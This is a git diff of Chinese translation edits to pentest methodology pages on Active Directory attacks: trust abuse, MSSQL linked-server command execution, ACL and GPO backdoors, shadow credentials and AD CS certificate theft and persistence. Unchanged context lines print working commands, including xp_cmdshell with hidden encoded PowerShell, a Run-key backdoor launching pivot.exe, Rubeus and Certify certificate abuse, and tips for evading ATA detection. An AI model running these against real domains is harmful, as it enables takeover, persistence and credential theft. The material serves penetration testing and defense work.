+- **MIT 信任**：这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业，适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
 
 #### **信任关系中的其他差异**
 
 - 信任关系也可以是**传递的**（A 信任 B，B 信任 C，则 A 信任 C）或**非传递的**。
-- 信任关系可以设置为**双向信任**（彼此信任）或**单向信任**（只有一个信任另一个）。
+- 信任关系可以设置为**双向信任**（彼此信任）或**单向信任**（只有其中一个信任另一个）。
 
 ### 攻击路径
 
 1. **枚举**信任关系
-2. 检查是否有任何**安全主体**（用户/组/计算机）对**其他域**的资源具有**访问**权限，可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域关系**（信任可能是为此创建的）。
+2. 检查是否有任何**安全主体**（用户/组/计算机）对**其他域**的资源具有**访问**权限，可能通过 ACE 条目或通过在其他域的组中。寻找**跨域关系**（信任可能是为此创建的）。
 1. 在这种情况下，kerberoast 可能是另一个选项。
 3. **妥协**可以**跨域**进行**转移**的**账户**。
 
@@ -517,7 +549,7 @@ laps.md
 
 - **本地组成员资格**：主体可能被添加到机器上的本地组中，例如服务器上的“管理员”组，从而授予他们对该机器的重大控制。
 - **外部域组成员资格**：主体也可以是外部域中组的成员。然而，此方法的有效性取决于信任的性质和组的范围。
-- **访问控制列表（ACLs）**：主体可能在**ACL**中被指定，特别是在**DACL**中的**ACE**内，提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人，名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
+- **访问控制列表 (ACL)**：主体可能在**ACL**中被指定，特别是在**DACL**中的**ACE**中，提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人，名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
 
 ### 子到父森林权限提升
 ```
@@ -550,7 +582,7 @@ sid-history-injection.md
 
 #### 利用可写的配置 NC
 
-理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中配置数据的中央存储库。该数据会复制到森林中的每个域控制器 (DC)，可写的 DC 维护配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
+理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC)，可写的 DC 维护配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
 
 **将 GPO 链接到根 DC 站点**
 
@@ -564,17 +596,17 @@ sid-history-injection.md
 
 详细分析可以在关于 [黄金 gMSA 信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 的讨论中找到。
 
-**架构更改攻击**
+**架构变更攻击**
 
-此方法需要耐心，等待新特权 AD 对象的创建。拥有 SYSTEM 权限的攻击者可以修改 AD 架构，以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
+此方法需要耐心，等待新特权 AD 对象的创建。通过 SYSTEM 权限，攻击者可以修改 AD 架构，以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
 
-进一步阅读可在 [架构更改信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
+进一步阅读可在 [架构变更信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
 
 **通过 ADCS ESC5 从 DA 到 EA**
 
 ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制，以创建一个证书模板，使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中，危害可写的子 DC 使得执行 ESC5 攻击成为可能。
 
-有关更多详细信息，请参阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下，攻击者有能力设置必要的组件，如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
+有关更多详细信息，请阅读 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下，攻击者能够设置必要的组件，如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
 
 ### 外部森林域 - 单向（入站）或双向
 ```powershell
@@ -587,7 +619,7 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-在这种情况下，**您的域受到外部域的信任**，这使您对其拥有**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**，然后尝试利用它：
+在这种情况下，**您的域受到外部域的信任**，这给您提供了**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**，然后尝试利用它：
 
 {{#ref}}
 external-forest-domain-oneway-inbound.md
@@ -607,7 +639,7 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 在这种情况下，**您的域**正在**信任**来自**不同域**的主体的一些**权限**。
 
-然而，当一个**域被信任**时，受信任的域**创建一个用户**，其**名称可预测**，并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任域**，以枚举它并尝试提升更多权限：
+然而，当一个**域被信任**时，受信任的域**创建一个用户**，其**名称是可预测的**，并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户，以进入受信任的域**，以枚举它并尝试提升更多权限：
 
 {{#ref}}
 external-forest-domain-one-way-outbound.md
@@ -615,7 +647,7 @@ external-forest-domain-one-way-outbound.md
 
 另一种妥协受信任域的方法是找到一个在**域信任的相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)（这并不常见）。
 
-另一种妥协受信任域的方法是在一台**受信任域的用户可以访问**的机器上等待，通过**RDP**登录。然后，攻击者可以在RDP会话进程中注入代码，并从那里**访问受害者的源域**。\
+另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问的**机器上，通过**RDP**登录。然后，攻击者可以在RDP会话进程中注入代码，并从那里**访问受害者的源域**。\
 此外，如果**受害者挂载了他的硬盘**，攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
 
 {{#ref}}
@@ -659,13 +691,13 @@ rdp-sessions-abuse.md
 ### **识别欺骗**
 
 - **对于用户对象**：可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
-- **一般指标**：比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
+- **一般指标**：比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
 
 ### **绕过检测系统**
 
 - **Microsoft ATA检测绕过**：
 - **用户枚举**：避免在域控制器上进行会话枚举，以防止ATA检测。
-- **票据冒充**：利用**aes**密钥创建票据有助于避免检测，因为不会降级到NTLM。
+- **票据冒充**：利用**aes**密钥创建票据有助于避免检测，因为不降级到NTLM。
 - **DCSync攻击**：建议从非域控制器执行，以避免ATA检测，因为直接从域控制器执行会触发警报。
 
 ## 参考文献
diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
index 5f4486191..6fdeda07b 100644
--- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
+++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@@ -108,7 +108,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads
 #The discovered MSSQL servers must be on the file: C:\temp\instances.txt
 Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
 ```
-### 从域内部进行枚举
+### 从域内部枚举
 ```powershell
 # Get local MSSQL instance (if any)
 Get-SQLInstanceLocal
@@ -148,7 +148,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
 Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
 # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
 ```
-检查**以下部分提到的页面**以手动执行此操作。
+检查**以下部分**中提到的页面以手动执行此操作。
 
 ### MSSQL 基本黑客技巧
 
@@ -160,7 +160,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
 
 如果一个 MSSQL 实例被另一个 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库拥有权限，他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以被链接，在某些情况下，用户可能能够找到一些配置错误的数据库，在那里他可以执行命令。
 
-**数据库之间的链接甚至可以跨森林信任工作。**
+**数据库之间的链接甚至可以跨越森林信任。**
 
 ### Powershell 滥用
 ```powershell
@@ -202,7 +202,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
 msf> use exploit/windows/mssql/mssql_linkcrawler
 [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
 ```
-注意，metasploit 只会尝试在 MSSQL 中滥用 `openquery()` 函数（因此，如果您无法使用 `openquery()` 执行命令，您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令，更多信息见下文。）
+注意，metasploit 只会尝试在 MSSQL 中滥用 `openquery()` 函数（因此，如果您无法使用 `openquery()` 执行命令，您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令，详见下文。）
 
 ### 手动 - Openquery()
 
@@ -223,7 +223,7 @@ EXEC sp_linkedservers;
 
 #### 在可信链接中执行查询
 
-通过链接执行查询（例如：在新的可访问实例中查找更多链接）：
+通过链接执行查询（示例：在新的可访问实例中查找更多链接）：
 ```sql
 select * from openquery("dcorp-sql1", 'select * from master..sysservers')
 ```
@@ -232,7 +232,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
 
 ![](<../../images/image (643).png>)
 
-您可以手动无限制地继续这些受信任链接的链条。
+您可以手动无限制地继续这些受信任的链接链。
 ```sql
 # First level RCE
 SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
index fc771debc..ed83edbcf 100644
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@@ -72,7 +72,7 @@ rpcclient -U KnownUsername 10.10.10.192
 ```
 ## **对组的 WriteOwner 权限**
 
-如果攻击者发现他们对一个组拥有 `WriteOwner` 权限，他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力，因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象，然后使用 `Set-DomainObjectOwner` 修改所有者，可以通过 SID 或名称进行修改。
+如果攻击者发现他们对一个组拥有 `WriteOwner` 权限，他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力，因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象，然后使用 `Set-DomainObjectOwner` 通过 SID 或名称修改所有者。
 ```powershell
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@@ -80,7 +80,7 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**
 
-此权限允许攻击者修改用户属性。具体来说，拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径，以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性，使其指向攻击者的脚本来实现的。
+此权限允许攻击者修改用户属性。具体来说，拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径，以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令将目标用户的 `scriptpath` 属性更新为指向攻击者的脚本来实现的。
 ```powershell
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
@@ -132,7 +132,7 @@ New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net l
 ```
 ### GroupPolicy 模块 - 滥用 GPO
 
-GroupPolicy 模块（如果已安装）允许创建和链接新的 GPO，并设置首选项，例如注册表值，以在受影响的计算机上执行后门。此方法要求更新 GPO，并且需要用户登录计算机以执行：
+GroupPolicy 模块（如果已安装）允许创建和链接新的 GPO，并设置首选项，例如注册表值，以在受影响的计算机上执行后门。此方法要求更新 GPO，并且用户必须登录计算机以执行：
 ```powershell
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
@@ -155,11 +155,11 @@ GPO 更新通常每 90 分钟发生一次。为了加快此过程，特别是在
 
 ### 用户和组
 
-GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件，攻击者可以将用户添加到特权组中，例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的，允许修改政策文件以包含新用户或更改组成员资格。
+GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件，攻击者可以将用户添加到特权组，例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的，允许修改政策文件以包含新用户或更改组成员资格。
 
-用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目，可以在受影响的系统上授予特定用户提升的权限。这种方法提供了一种通过 GPO 操作直接提升权限的途径。
+用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目，可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接提升权限的途径。
 
-此外，还可以考虑其他执行代码或保持持久性的方法，例如利用登录/注销脚本、修改注册表键以实现自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维护访问和控制目标系统的各种途径。
+此外，还可以考虑其他执行代码或维持持久性的方式，例如利用登录/注销脚本、修改注册表键以实现自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的多种途径。
 
 ## 参考文献
 
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
index a0fe1b033..86905150b 100644
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
@@ -8,7 +8,7 @@
 
 作为**总结**：如果您可以写入用户/计算机的**msDS-KeyCredentialLink**属性，则可以检索该对象的**NT hash**。
 
-在帖子中，概述了一种设置**公钥-私钥身份验证凭据**的方法，以获取包含目标的NTLM hash的唯一**服务票证**。此过程涉及特权属性证书（PAC）中的加密NTLM_SUPPLEMENTAL_CREDENTIAL，可以解密。
+在帖子中，概述了一种设置**公钥-私钥身份验证凭据**的方法，以获取包含目标的NTLM hash的唯一**服务票证**。此过程涉及Privilege Attribute Certificate (PAC)中的加密NTLM_SUPPLEMENTAL_CREDENTIAL，可以被解密。
 
 ### Requirements
 
@@ -23,10 +23,10 @@
 
 对计算机对象的Key Trust滥用包括获取票证授予票证（TGT）和NTLM hash之外的步骤。选项包括：
 
-1. 创建一个**RC4银票证**以在预期主机上充当特权用户。
-2. 使用TGT与**S4U2Self**进行**特权用户**的冒充，需要对服务票证进行更改，以将服务类添加到服务名称。
+1. 创建一个**RC4银票证**以在目标主机上充当特权用户。
+2. 使用带有**S4U2Self**的TGT进行**特权用户**的冒充，需要对服务票证进行更改，以将服务类添加到服务名称。
 
-Key Trust滥用的一个显著优势是其限制于攻击者生成的私钥，避免了对潜在易受攻击帐户的委派，并且不需要创建计算机帐户，这可能难以删除。
+Key Trust滥用的一个显著优势是其限制在攻击者生成的私钥上，避免了对潜在易受攻击帐户的委派，并且不需要创建计算机帐户，这可能难以删除。
 
 ## Tools
 
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md
index fd8cdee70..0b633459a 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md
@@ -43,7 +43,7 @@ AD CS 通过指定的容器在 AD 林中承认 CA 证书，每个容器承担独
 
 ## 证书注册
 
-证书的注册过程由管理员 **创建证书模板**，然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册，此步骤通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
+证书的注册过程由管理员 **创建证书模板**，然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册，这一步通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
 
 为了让客户端请求证书，必须授予 **注册权限**。这些权限由证书模板和企业 CA 本身的安全描述符定义。必须在两个位置授予权限，才能成功请求。
 
@@ -51,7 +51,7 @@ AD CS 通过指定的容器在 AD 林中承认 CA 证书，每个容器承担独
 
 这些权限通过访问控制条目 (ACEs) 指定，详细说明权限，如：
 
-- **Certificate-Enrollment** 和 **Certificate-AutoEnrollment** 权限，每个权限与特定 GUID 相关联。
+- **Certificate-Enrollment** 和 **Certificate-AutoEnrollment** 权限，每个权限与特定的 GUID 相关联。
 - **ExtendedRights**，允许所有扩展权限。
 - **FullControl/GenericAll**，提供对模板的完全控制。
 
@@ -87,7 +87,7 @@ Active Directory (AD) 支持证书认证，主要利用 **Kerberos** 和 **安
 
 ### Kerberos 认证过程
 
-在 Kerberos 认证过程中，用户请求票证授予票证 (TGT) 时，使用用户证书的 **私钥** 对该请求进行签名。该请求经过域控制器的多个验证，包括证书的 **有效性**、**路径** 和 **撤销状态**。验证还包括确认证书来自受信任的来源，并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于：
+在 Kerberos 认证过程中，用户请求的票证授予票证 (TGT) 使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证，包括证书的 **有效性**、**路径** 和 **撤销状态**。验证还包括确认证书来自受信任的来源，并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于：
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
@@ -99,7 +99,7 @@ Schannel 促进安全的 TLS/SSL 连接，在握手过程中，客户端提供
 
 ### AD 证书服务枚举
 
-可以通过 LDAP 查询枚举 AD 的证书服务，揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的，无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 用于在 AD CS 环境中的枚举和漏洞评估。
+可以通过 LDAP 查询枚举 AD 的证书服务，揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的，无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 用于在 AD CS 环境中进行枚举和漏洞评估。
 
 使用这些工具的命令包括：
 ```bash
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
index 31781ce0e..9d51ec300 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
@@ -15,11 +15,11 @@
 - **基本约束** 确定证书是用于 CA 还是最终实体，并定义使用限制。
 - **扩展密钥使用 (EKUs)** 通过对象标识符 (OIDs) 划分证书的特定用途，如代码签名或电子邮件加密。
 - **签名算法** 指定签署证书的方法。
-- 使用颁发者的私钥创建的 **签名** 确保证书的真实性。
+- **签名** 使用颁发者的私钥创建，保证证书的真实性。
 
 ### 特殊考虑
 
-- **主题备用名称 (SANs)** 扩展证书的适用性到多个身份，对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵 SAN 规范进行冒充风险至关重要。
+- **主题备用名称 (SANs)** 扩展证书的适用性到多个身份，对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵 SAN 规范而导致的冒充风险至关重要。
 
 ### Active Directory (AD) 中的证书颁发机构 (CAs)
 
@@ -43,7 +43,7 @@ AD CS 通过指定的容器在 AD 林中承认 CA 证书，每个容器承担独
 
 ## 证书注册
 
-证书的注册过程由管理员 **创建证书模板** 开始，然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册，通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
+证书的注册过程由管理员 **创建证书模板**，然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册，通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
 
 为了让客户端请求证书，必须授予 **注册权限**。这些权限由证书模板和企业 CA 本身的安全描述符定义。必须在两个位置授予权限，才能成功请求。
 
@@ -87,7 +87,7 @@ Active Directory (AD) 支持证书认证，主要利用 **Kerberos** 和 **安
 
 ### Kerberos 认证过程
 
-在 Kerberos 认证过程中，用户请求的票证授予票证 (TGT) 使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多项验证，包括证书的 **有效性**、**路径** 和 **撤销状态**。验证还包括确认证书来自受信任的来源，并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于：
+在 Kerberos 认证过程中，用户请求票据授予票据 (TGT) 的请求使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证，包括证书的 **有效性**、**路径** 和 **吊销状态**。验证还包括确认证书来自受信任的来源，并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于：
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
@@ -99,7 +99,7 @@ Schannel 促进安全的 TLS/SSL 连接，在握手过程中，客户端提供
 
 ### AD 证书服务枚举
 
-AD 的证书服务可以通过 LDAP 查询进行枚举，揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的，无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 用于在 AD CS 环境中的枚举和漏洞评估。
+AD 的证书服务可以通过 LDAP 查询进行枚举，揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的，无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 被用于 AD CS 环境中的枚举和漏洞评估。
 
 使用这些工具的命令包括：
 ```bash
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
index 4262a94ac..199ce6199 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
@@ -6,7 +6,7 @@
 
 ## **理解通过证书进行的活动用户凭证盗窃 – PERSIST1**
 
-在用户可以请求允许域身份验证的证书的场景中，攻击者有机会**请求**并**窃取**该证书以**维持在网络上的持久性**。默认情况下，Active Directory中的`User`模板允许此类请求，尽管有时可能会被禁用。
+在用户可以请求允许域身份验证的证书的场景中，攻击者有机会**请求**并**窃取**此证书以**维持持久性**在网络上。默认情况下，Active Directory中的`User`模板允许此类请求，尽管有时可能会被禁用。
 
 使用名为[**Certify**](https://github.com/GhostPack/Certify)的工具，可以搜索启用持久访问的有效证书：
 ```bash
@@ -22,7 +22,7 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
 ```bash
 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 ```
-`.pfx` 文件可以上传到目标系统，并与一个名为 [**Rubeus**](https://github.com/GhostPack/Rubeus) 的工具一起使用，以请求用户的票据授权票证 (TGT)，从而在证书 **有效**（通常为一年）期间延长攻击者的访问权限：
+`.pfx` 文件可以上传到目标系统，并与一个名为 [**Rubeus**](https://github.com/GhostPack/Rubeus) 的工具一起使用，以请求用户的票据授权票证 (TGT)，从而延长攻击者的访问权限，直到证书 **有效**（通常为一年）：
 ```bash
 Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
 ```
@@ -34,11 +34,11 @@ Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass
 ```bash
 Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
 ```
-这种访问权限使攻击者能够以机器帐户身份对 **Kerberos** 进行身份验证，并利用 **S4U2Self** 获取主机上任何服务的 Kerberos 服务票证，从而有效地授予攻击者对该机器的持久访问权限。
+这种访问权限使攻击者能够以机器帐户身份对 **Kerberos** 进行身份验证，并利用 **S4U2Self** 为主机上的任何服务获取 Kerberos 服务票证，从而有效地授予攻击者对该机器的持久访问权限。
 
 ## **通过证书续订扩展持久性 - PERSIST3**
 
-最后讨论的方法涉及利用证书模板的 **有效性** 和 **续订周期**。通过在证书到期之前 **续订** 证书，攻击者可以在不需要额外票证注册的情况下保持对 Active Directory 的身份验证，这可能会在证书授权 (CA) 服务器上留下痕迹。
+最后讨论的方法涉及利用证书模板的 **有效性** 和 **续订期**。通过在证书到期之前 **续订** 证书，攻击者可以在不需要额外票证注册的情况下保持对 Active Directory 的身份验证，这可能会在证书授权 (CA) 服务器上留下痕迹。
 
 这种方法允许一种 **扩展持久性** 方法，通过与 CA 服务器的较少交互来最小化被检测的风险，并避免生成可能会提醒管理员入侵的工件。
 
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
index 6f831f48e..9d4af52ab 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
@@ -20,13 +20,13 @@ certutil.exe -dump -v cert.pfx
 ```
 ## 导出证书使用 Crypto APIs – THEFT1
 
-在 **交互式桌面会话**中，提取用户或机器证书及其私钥非常简单，特别是如果 **私钥是可导出的**。可以通过导航到 `certmgr.msc` 中的证书，右键单击并选择 `所有任务 → 导出` 来生成一个受密码保护的 .pfx 文件。
+在 **交互式桌面会话**中，提取用户或机器证书及其私钥非常简单，特别是当 **私钥可导出**时。这可以通过在 `certmgr.msc` 中导航到证书，右键单击并选择 `所有任务 → 导出` 来生成一个受密码保护的 .pfx 文件。
 
-对于 **编程方法**，可以使用 PowerShell 的 `ExportPfxCertificate` cmdlet 或像 [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) 这样的项目。这些工具利用 **Microsoft CryptoAPI** (CAPI) 或加密 API：下一代 (CNG) 与证书存储进行交互。这些 API 提供了一系列加密服务，包括证书存储和身份验证所需的服务。
+对于 **编程方法**，可以使用 PowerShell 的 `ExportPfxCertificate` cmdlet 或像 [TheWover 的 CertStealer C# 项目](https://github.com/TheWover/CertStealer) 这样的项目。这些工具利用 **Microsoft CryptoAPI** (CAPI) 或加密 API：下一代 (CNG) 与证书存储进行交互。这些 API 提供了一系列加密服务，包括证书存储和身份验证所需的服务。
 
 然而，如果私钥被设置为不可导出，CAPI 和 CNG 通常会阻止提取此类证书。为了绕过此限制，可以使用 **Mimikatz** 工具。Mimikatz 提供 `crypto::capi` 和 `crypto::cng` 命令来修补相应的 API，从而允许导出私钥。具体而言，`crypto::capi` 修补当前进程中的 CAPI，而 `crypto::cng` 针对 **lsass.exe** 的内存进行修补。
 
-## 通过 DPAPI 进行用户证书盗窃 – THEFT2
+## 通过 DPAPI 盗取用户证书 – THEFT2
 
 有关 DPAPI 的更多信息，请参见：
 
@@ -34,9 +34,9 @@ certutil.exe -dump -v cert.pfx
 ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
 {{#endref}}
 
-在 Windows 中，**证书私钥由 DPAPI 保护**。重要的是要认识到 **用户和机器私钥的存储位置**是不同的，文件结构因操作系统使用的加密 API 而异。**SharpDPAPI** 是一个可以在解密 DPAPI blobs 时自动导航这些差异的工具。
